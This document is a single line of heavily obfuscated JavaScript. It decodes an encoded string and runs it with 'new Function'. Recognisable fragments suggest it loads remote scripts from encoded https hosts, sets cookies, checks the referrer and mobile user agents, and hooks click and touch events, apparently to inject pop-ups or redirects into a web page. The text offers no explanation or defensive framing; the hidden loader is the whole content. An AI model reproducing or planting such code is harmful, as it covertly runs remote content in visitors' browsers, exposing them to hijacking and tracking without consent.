d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/CL/@@{jR8hQ^sp)Rs:7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"hQ^sp)Rs:7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYms5n6d1qmRT4"="@@{5p(LYpmQLqd0@fmRT4"="@@{D7(LSqms5n6d1qmRT4"="@@{dC(LJ^mQLqd0@fmRT4"="@@{(C(L:4ms5n6d1qmRT4"="@@{C2(LSYmQLqd0@fmRT4"="@@{25(LLSms5n6d1qmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/f/@@{j(8}vR8hQ^sp)Rs:7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();